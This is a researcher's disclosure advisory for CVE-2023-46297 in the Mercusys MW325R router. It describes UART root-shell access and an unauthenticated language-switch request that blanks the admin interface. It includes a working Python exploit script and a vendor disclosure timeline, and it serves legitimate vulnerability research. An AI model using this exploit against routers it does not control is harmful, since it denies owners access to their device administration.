Back to the advisories

Mercusys MW325R MW325R(EU)_V3_1.11.0 Build 221019(Multi-language) - CVE-2023-46297

#mercusys #cve #UARTshell #HardwareHacking #LanguageSwitch
Last Modified: 2024.10.25.

If you find it valuable, you can support me by making a donation. Donate now.

Advisory

Story

I went to a local store to buy some targets. I found a cheap Mercusys (MW325R EU V3) router, after some googling in the shop I realized there are not many Mercusys vulnerabilities. It was a challenge, and I accepted it. It was a funny, and interesting reverse engineering project. On the first day, I found a funny vulnerability on the login page, at first I had no idea what is the problem. With my new HW hacking tools, I obtained a "root" shell on the device, and I figured out the root cause of the vulnerability. I was surprised a little bit because of the operating system. It was not a Linux operating system, it was custom-made stuff. MiniFS filesystem, no "classic" programs, there was a special debugging menu with special programs. It was new to me, and I was sure I would enjoy it.

I found multiple vulnerabilities during the reverse engineering process, and I reported them to the Vendor. In this part, I will focus on CVE-2023-46297 only.

Vulnerability Description

An attacker can make the admin interface "unreachable/invisible" with an HTTP request without authentication. Verification of the data sent by the user is not checked. The web server does not crash, but the admin interface is not visible, as the files necessary to display the content will not be available. A reboot of the router is required to restore the correct behavior. It is possible to restore it with another request. But for this, the vulnerability must be known.

I have published the technical details via vsociety: https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-1-root-shell-cve-2023-46297 as well.

Technical Details

As usual, I started the task with OSINT and getting to know the software. It is important to get familiar with the device.

Official Firmware, Release Notes, Emulator, etc: https://www.mercusys.com/hu/download/mw325r

There are 3 main versions in my region, and I have version 3. For this device, there is only 1 firmware. There are no updates. I also checked the older versions. Version 2 has multiple firmware, added IPTV support, and bug fixes. No vulnerability information was found.

The firmware was small (only 1.6M). Binwalk did not work, the extracted size was -1.

I checked the communication with BURP. I found the first vulnerability while getting to know the device. To understand the exact reason, additional steps were necessary. Now I will only tell you the necessary steps.

The Hardware

Hardware Layout

Mediatek MT7628KN

More info: https://www.mediatek.com/products/home-networking/mt7628k-n-a

Serial Flash memory

Maybe useful: https://pdf1.alldatasheet.com/datasheet-pdf/view/458190/EON/EN25QH16-104HIP.html

UART interface

What is UART?

UART is a debugging interface. A UART channel has two data lines. On each device, there is an RX pin and a TX pin (RX for receive and TX for transmit). The RX pin of each device is connected to the TX pin of the other. Note that there is no shared clock line. This is the "asynchronous" aspect of Universal Asynchronous Receiver Transmitter. There is a VCC pin, but it is not important to us.

More information about the protocol: https://vanhunteradams.com/Protocols/UART/UART.html

UART shell

I have checked the PCB and the traces. The first two pins have traces, but the other two have not. The first two are RX and TX, and the third one is the GND. The fourth one that has a squared shape is probably the VCC.

I unplugged the device. I used the multimeter's continuity feature. I looked for the ground at the power connection, and I put one test lead of the multimeter there, and I checked the 4 pins. One of these pins should register continuity, the third one is the GND.

The next step is the VCC. I plugged in the device, and I used the multimeter in voltage mode. I put the negative cable to the GND pin, and I checked the other pins. The squared one provided a steady and constant voltage, so it is the VCC.

The fastest way to find the appropriate baud rate is by trial and error, I mostly encountered 115200, 57600, and 9600.

I used my USB serial converter and the "screen" program. The rate was 115200.


# Baud-rate is the desired baud rate setting for the RS-232 serial console port in bits per second (bps). Valid values are 110, 300, 1200, 2400, 4800, 9600, 19200, 38400, 57600, or 115200.
screen -L /dev/tty.USB0 115200

Root shell

I had a working interactive root shell. I was a little surprised, I was expecting a Linux-like OS, but the commands were quite limited. The file system was also strange at first, there are no commands such as "cd". There are tasks instead of processes or programs, but more on that later. Exploitation promises to be interesting since at the end I must write my exploit.

The language-switching feature

A user can change the language using the "Language Switch" feature, which does not require authentication.

A normal request was the following:

I changed the "currentLanguge" parameter to "k4m1ll0".

Note: The "languageList" parameter is also vulnerable.

If we reload the page the content will be invisible to everybody. :) There will be a white page only.

The service is running, but the content is not visible.

In the debug console the problem is visible, the "currentLanguage" parameter is not checked properly. If we set the language to a non-existing language it will save the changes. After reloading the page will become "invisible", because the necessary files do not exist.

Exploit


#!/usr/bin/python3
import requests

if __name__ == "__main__":
    URL = "http://192.168.1.1/?code=1&asyn=0"
    session = requests.session()
    # proxies = { 'http' : 'http://127.0.0.1:8080' }
    proxies = { }
    headers = { 'Content-Type' : 'text/plain;charset=UTF-8', 
                 'X-Requested-With' : 'XMLHttpRequest',
                 'Referer' : 'http://192.168.1.1' }

    data = 'id 50|1,0,0\r\n'
    data += 'currentLanguage k4m1ll0\r\n'
    data += 'languageList en_US%ch_TW\r\n'
    data += 'setByUser 0\r\n'

    session.post(URL, headers=headers, proxies=proxies, data=data)
    

It creates a simple HTTP request and changes the parameter. The "Referer" header is important. It is a security feature, and it can be turned on. It works with the WAN interface as well, but in that case, the `Referer` and IP must changed. The "proxies" variable can be used for debugging.

It is possible to go one level deeper and analyze the binary behind the scenes, but it is not that easy. We need the content of the filesystem, we need the flash content, etc.

In the next part, I will cover that topic as well.

Video

Disclosure timeline

  • 2023.10.17 - Vulnerability report sent to Mercusys.
  • 2023.10.18 - Mercusys sent a response. They started working on it.
  • 2023.10.22 - I got the following CVE number from MITRE: CVE-2023-46297.
  • 2023.11.01 - Mercusys sent a test firmware. (It means they reproduced the issue.)
  • 2023.11.04 - I checked the fix and it worked. I sent an update to Mercusys.
  • 2023.11.04 - 2024.02.15 - Multiple discussions with the vendor. (CVE requested: CVE-2023-46297)
  • 2024.05.29 - Publishing
  • © 2019-2026 Kamilló Matek (k4m1ll0) All Rights Reserved